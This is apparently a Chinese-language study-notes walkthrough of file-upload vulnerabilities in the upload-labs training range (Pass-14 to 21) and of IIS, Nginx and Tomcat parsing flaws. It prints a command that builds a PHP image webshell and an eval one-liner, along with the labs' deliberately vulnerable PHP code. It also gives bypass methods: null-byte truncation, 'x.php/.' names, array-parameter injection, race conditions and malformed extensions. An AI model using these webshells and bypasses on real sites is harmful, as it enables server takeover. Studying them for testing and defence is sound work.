202202241038576

涉及知识

图片一句话制作方法

图片写入后门代码命令:copy 1.png /b + shell.php /a webshell.jpg

其中1.png是图片文件,shell.php是PHP一句话或脚本文件,该命令亦相当于使用文本编辑器打开图片以后,在图片文本的末尾添加PHP脚本

文件头检测

图像文件信息判断

逻辑安全——二次渲染

二次渲染

普通的文件上传,在上传后就把文件保存到服务器,二次渲染则有所不同。

二次渲染分以下两步

  1. 先把文件上传服务器暂存
  2. 服务器将这个文件进行保存或删除(上传的时候下面有保存和上传的按钮)

应用场景:上传头像时如果尺寸大小不合规范,会要求用户截取一定区域的图片之后再点击保存头像

利用二次渲染的文件上传

二次渲染只是一种技术,未必一定能产生文件上传漏洞,如果两次保存到服务器都对文件类型进行过滤,那么就无从利用条件竞争来访问到webshell。

因此后台在书写二次渲染代码时一定要注意代码的逻辑安全,否则攻击者就有可乘之机,比如Uploadlabs的Pass-18、Pass-19关卡。

逻辑安全——条件竞争

条件竞争

参考文章:浅析条件竞争漏洞

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

  • 首先在burp中不断发送上传webshell的数据包:
  • 然后不断在浏览器中访问,发现通过竞争可以访问到:

利用条件竞争的文件上传

当上传操作存在条件竞争,且没有文件包含漏洞,就不能直接上传图片马,要利用条件竞争来触发脚本

文件一上传到服务器上,就对其进行访问,通过条件竞争在rename()、unlink()执行之前就访问

具体操作时,上传时进行抓包,使用burp的intruder模块,向服务器不断发包,浏览器不断进行访问,争取条件竞争的成功

目录命名——x.php/.

以文件夹名的突破方式绕过后缀的限制同时在最终代码执行结果会保存为php文件

对于路径名upload/x.php/.看似是一个文件夹路径,但在解析时会认为等价于upload/x.php

因此如果提交的参数能够决定最终拼接保存的文件名,就可以提交upload/x.php/.,用来php/.绕过过滤后缀名的黑名单,保存文件时又保存为x.php,以成功上传脚本并保存。

比如Uploadlabs的Pass-20关卡。

数组接受——目录命名

PHP数组相关

PHP 数值数组

这里有两种创建数值数组的方法:

自动分配 ID 键(ID 键总是从 0 开始):

1
$cars=array("Volvo","BMW","Toyota");

人工分配 ID 键:

1
2
3
$cars[0]="Volvo";
$cars[1]="BMW";
$cars[2]="Toyota";

获取数组的长度 - count() 函数

count() 函数用于返回数组的长度(元素的数量):

1
2
3
4
<?php
$cars=array("Volvo","BMW","Toyota");
echo count($cars);
?>

**注意:**以下数组count()结果为2,即该数组有2个元素,而$cars[1]是一个空值,count()不计入

1
2
3
4
5
6
7
8
<?php
$cars[0] = "Volvo";
//$cars[1] = "BMW";
$cars[2] = "Toyota";
print_r($cars); //输出数组
echo '<br>';
echo count($cars);
?>

运行结果如下:

202202271827697

数组接收-目录命名

见Uploadlabs的Pass-21

中间件解析漏洞

服务器解析漏洞算是历史比较悠久了,但如今依然广泛存在。在此记录汇总一些常见服务器(WEB server)的解析漏洞,比如IIS6.0、IIS7.5、apache、nginx等

202202282106289

演示案例

Uploadlabs-pass14-21 关卡测试

Pass-14(文件头检测,图片马利用文件包含漏洞)==涉及文件包含漏洞利用==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//此函数通过检测文件头返回文件后缀名,只允许图片文件上传
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);//通过文件头获取文件类型

if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

本关卡通过检测上传文件的文件头来判断文件类型,只允许图片文件上传,因此可以制作图片一句话来上传,之后再利用提示中的文件包含漏洞进行操作。

制作图片一句话

202202241135202

上传图片一句话成功

202202241136072

查看提示中的文件包含漏洞情况

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>

上述代码说明,只要使用GET方法提交名为file的参数,那么就会将该参数值包含,并作为PHP脚本来进行解析,因此我们使用GET方法提交参数值为上传文件的路径,文件路径可以右键网页中显示的图片来获得

202202241542729

GET提交参数即http://localhost/PenTest/uploadlabs/include.php?file=upload/9820220224033548.jpg,可见该图片文件会被当做PHP脚本来解析

202202241535998

我们写的一句话内容是<?php @eval($_POST['shell']);?>,所以使用POST方法提交名为shell的参数来执行

POST提交shell=phpinfo();可以成功执行如下,或者也可使用中国菜刀连接webshell

202202241538493

Pass-15(突破getimagesize)

getimagesize()函数

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

函数的机制决定了其只接收图像文件并获取图像信息,相当于限制了文件类型。

因此如果只能上传图像,就只能配合其他漏洞如文件解析、文件包含来对脚本加以利用,否则就无从利用图像来触发脚本语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//判断是否为图像文件——只允许上传图像文件
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

绕过操作

和Pass-14一样,制作图片木马后上传并使用GET及POST方法提交相关参数,可见可以利用文件包含执行写在图片文件末尾的PHP脚本

202202250854443

Pass-16(突破exif-imagetype)

exif-imagetype

exif_imagetype(string $filename) 返回值为int

exif_imagetype() 读取一个图像的第一个字节并检查其签名。

如果发现了恰当的签名则返回一个对应的常量,否则返回 false。返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的,但本函数快得多。

定义有以下常量,并代表了 exif_imagetype() 可能的返回值:

值 常量
1 IMAGETYPE_GIF
2 IMAGETYPE_JPEG
3 IMAGETYPE_PNG
4 IMAGETYPE_SWF
5 IMAGETYPE_PSD
6 IMAGETYPE_BMP
7 IMAGETYPE_TIFF_II(Intel 字节顺序)
8 IMAGETYPE_TIFF_MM(Motorola 字节顺序)
9 IMAGETYPE_JPC
10 IMAGETYPE_JP2
11 IMAGETYPE_JPX
12 IMAGETYPE_JB2
13 IMAGETYPE_SWC
14 IMAGETYPE_IFF
15 IMAGETYPE_WBMP
16 IMAGETYPE_XBM

开启开启php_exif模块如下

202202251513379

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}

上述代码说明本关卡使用**exif-imagetype()**函数来判断文件类型,只允许上传图片文件(png、jpg、gif)

绕过操作

和Pass-14一样,制作图片木马后上传并使用GET及POST方法提交相关参数,可见可以利用文件包含执行写在图片文件末尾的PHP脚本

上传成功

202202251515444

提交参数执行脚本成功

202202251517178

Pass-17(==突破验证函数+二次渲染==)

详细参考以下文章

upload-labs之pass 16详细分析(Pass-17是原Pass-16关卡)

论文件上传绕过的各种姿势(二)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

上述代码判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后还做了一次二次渲染,改变了图片中的部分内容。

突破思路:将一个正常显示的图片,上传到服务器。将图片被渲染后与原始图片对比,寻找仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。

==绕过操作==

因此Pass-14、15、16、17都是使用函数验证,只允许上传图片文件,只需上传图片马,再利用文件包含漏洞就能触发脚本语句。

Pass-18(二次渲染+条件竞争)

unlink() 函数是用来删除文件的

本关考察的是条件竞争,查看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){ //第一次保存:注意这里还没有判断文件类型,就把文件保存到了$upload_file路径
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);//第二次保存:这里验证完后缀名,再重命名保存
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

第一次保存:还没有判断文件类型,就把文件保存到了$upload_file路径

第二次保存:这里验证完后缀名,再重命名保存

在执行完move_uploaded_file之后,执行rename()、unlink()之前,此时这个php文件是已经保存到了web服务器上的,并且我们能够访问。

一般而言,我们是上传了文件,但是最后却因为过滤或者因为其他原因被删除了,那么我们可以使用条件竞争,我们实际上是和rename()、以及删除文件的unlink()函数进行竞争。文件被访问时,不可以删除。这就如同在编辑文件时,点击删除是不能成功执行的,访问文件时也类似。

如果上传脚本,利用条件竞争,我们在rename()重命名和ulink()删除之前访问该文件,就能提前占用该文件以至于重命名等操作无法进行,可以得到webshell。 所以我们使用多线程并发的不断访问上传的文件,服务器中的函数执行都是需要时间的,如果我上传上去的文件在没被删除的时候,一旦成功访问到了上传的文件,那么它就会向服务器写入shell。

绕过操作

本关卡没有文件包含漏洞,就不能直接上传图片马再利用,而是要利用条件竞争来触发脚本

文件一上传到服务器上,就对其进行访问,通过条件竞争在rename()、unlink()执行之前就访问

上传时进行抓包,使用burp的intruder模块,向服务器不断发包,浏览器不断进行访问,争取条件竞争的成功

Pass-19(条件竞争)

Pass-20(文件夹-目录)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];//文件名从POST提交的save_name参数处获得而不是$_FILES['upload_file']['name']处获得
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//save_name参数中取得文件后缀名jpg

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name; //拼接最终保存文件名,由POST提交的save_name参数处获得
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

分析代码可知,过滤机制是黑名单+POST提交参数拼接保存文件名这两种机制的组合,针对文件上传有以下两种思路:

POST提交参数save_path值添加%00截断(PHP版本在5.3以下且关闭魔术引号开关)

由于最终保存的文件名是由POST提交的save_name参数决定的,因此可以使用%00截断使得影响拼接文件名结果。

文件上传抓包,可见保存名称处修改的正是POST提交的save_path参数的值

202202261439982

修改save_path参数值添加%00截断(记得添加%00后需要URL解码),使保存文件名为脚本文件

202202261526569

上传成功

202202261525661

目录命名——x.php/.(无关PHP版本)

文件上传抓包,可见保存名称处修改的正是POST提交的save_path参数的值

修改save_path参数值为x.php/.后上传

202202261626693

上传成功,服务器保存文件名为x.php的脚本文件

202202261627706

Pass-21(数组接受+目录命名)

strtolower()函数

strtolower() 函数把字符串转换为小写

explode()函数

explode() 函数把字符串打散为数组。

1
explode(separator,string,limit)
参数 含义
separator 必需。规定在哪里分割字符串。
string 必需。要分割的字符串。
limit 可选。规定所返回的数组元素的数目。

reset()函数

reset() 函数将内部指针指向数组中的第一个元素,并输出。

end()函数

end()函数将内部指针指向数组中的最后一个元素,并输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
//若POST提交的save_name值为空,则$file值就为文件名,否则$file值就为save_name值
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));//如果$file不是数组,就explode()函数以'.'为分隔把字符串打散为数组
}

$ext = end($file);//取文件名后缀,由$file决定
$allow_suffix = array('jpg','png','gif');//白名单
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

分析本关卡代码,使用如下的过滤机制:

  1. 检查MIME——可用伪造Content-Type绕过

  2. 检查文件名:若POST提交的save_name值为空,则$file值就为文件名,否则$file值就为save_name值

    且该文件名$file必须为数组,如果$file不是数组,就explode() 函数把字符串打散为数组

    如:$file=“x.jpg”

    ​ explode(‘.’, $file)的结果就是:

    ​ $file[0]=“x”

    ​ $file[1]=“.”

    ​ $file[2]=“jpg”

  3. 设置白名单:只允许图片文件上传

    1. 若符合白名单,拼接最终保存文件名的规则是$file数组首元素+$file数组末元素
    2. 若不符合白名单则禁止上传

绕过操作

尝试按照Pass-19的绕过思路,修改save_path参数值为x.php/.后上传,上传失败

202202271656074

这是由于本关卡使用白名单限制jpg/.后缀不符合白名单要求,无法绕过,后缀名必须是图片文件。而Pass-19是黑名单过滤,可以绕过

因为最终拼接文件名,取的是reset()第一个,即索引为0,和索引count()-1即数组内元素个数-1。所以令索引0为1.php,索引2为jpg(只要是索引1之后都可),这样数组元素个数为2,拼接的就是索引0和索引1,也就是1.php和空,结果还是1.php,这样就可以使得拼接后的文件名为1.php

由于使用了explode()将字符串打散,而且该字符串由POST提交的save_name值来决定

  1. 我们构造save_name值,使得explode(‘.’, $file)的结果如下:

    1. $file[0]=“x.php”——拼接最终保存文件名时用到
    2. $file[1]=空——不计入count()
    3. $file[2]=“jpg”——符合白名单要求

    则最终保存文件名$file_name = reset($file) . '.' . $file[count($file) - 1];就为x.php空即x.php

  2. 或者直接将save_name作为save_name[]数组进行POST提交

    1. save_name[0]=“x.php”——拼接最终保存文件名时用到
    2. save_name[1]=空——不计入count()
    3. save_name[2]=“jpg”——符合白名单要求

    则最终保存文件名$file_name = reset($file) . '.' . $file[count($file) - 1];就为x.php空即x.php

使用直接将save_name作为save_name[]数组进行POST提交的方法进行上传

抓包并修改save_name为save_name[]数组,原save_name如下

202202271726521

修改为save_name[]数组后如下,注意不要手动写save_name[1]的值,只写save_name[0]、save_name[2],则save_name[1]自动置为空值

202202271948925

上传成功

202202271949696

CVE-2017-12615——Tomcat任意文件上传漏洞

以上演示的漏洞,都是过滤代码在验证上传文件类型时产生的漏洞,是网站层面的代码书写产生的漏洞。

还有一类漏洞,是网站搭建平台中间件的问题产生的漏洞,比如Tomcat任意文件上传漏洞CVE-2017-12615,这是文件上传漏洞查找的另外一种思路,尽管本质上不是文件上传漏洞,但是会用到文件上传

CVE-2017-12615是一个关于任意文件上传的漏洞,在tomcat中启用put方法会导致任意文件可以上传,从而导致服务器权限被获取。

vulhub中位置为vulhub/tomcat/CVE-2017-12615,启动CVE-2017-12615环境

202202272028794

CVE-2017-12615漏洞复现

中间件解析漏洞+配合文件上传测试

IIS—上传—解析—(panfei806)

漏洞

在IIS6.0中,关于文件夹和文件命名存在如下的文件解析漏洞

文件夹命名

正常文件夹命名image/qq.jpg

若文件夹命名如下:image.asp/qq.jpg,则qq.jpg就会被当做asp解析

文件命名

正常文件命名:image.jpg

若文件命名如下:image.asp;.jpg或xxx.asp;xxx.jpg则这个jpg文件就会被当做asp执行

以上的asp可以换成PHP,若换成PHP就当做PHP执行

漏洞复现

自行搭建漏洞环境并访问

202202281521873

登录(账号、密码是前期注入获得,此处不讲)

202202281521689

访问上传界面

202202281521149

点击上传后抓包

202202281522917

修改数据包中的文件名,之后会被当成asp执行

img

以下说明jpg文件被当做asp执行

202202281649362

若文件名正常,则jpg文件仍然当成jpg执行

202202282002325

访问正常文件名的文件可见按照jpg格式解析

202202281704848

查看服务器端,发现已经触发解析漏洞

202202281650033

Apache—上传—解析漏洞—vulhub

见下一节

Nginx—上传—解析漏洞—vulhub

漏洞

漏洞详解

nginx解析漏洞详解

漏洞利用

上传文件:a.jpg

上传后位置:uploadfiles/3626850d481efd38a8ae8164011f41b2.jpg

文件上传后访问http://IP/uploadfiles/3626850d481efd38a8ae8164011f41b2.jpg可正常成功访问图片

若该图片为图片马,则文件上传后访问http://IP/uploadfiles/3626850d481efd38a8ae8164011f41b2.jpg/a.php就可以执行图片马中的脚本语句

漏洞复现

启动漏洞环境

202202282007027

访问靶机地址

202202282008300

查看中间件及版本

202202282009642

上传图片马,发现显示出路径

上传成功,访问该路径

202202282009148

利用解析漏洞,在URL之后直接加/x.php触发Nginx解析漏洞

该图片文件会被当做PHP脚本进行解析

POST提价一句话参数可以执行PHP函数

202202282009117

涉及资源

https://www.cnblogs.com/1996-11-01-614lb/p/14237744.html

web中间件常见漏洞总结.pdf

站内搜索

没有找到内容!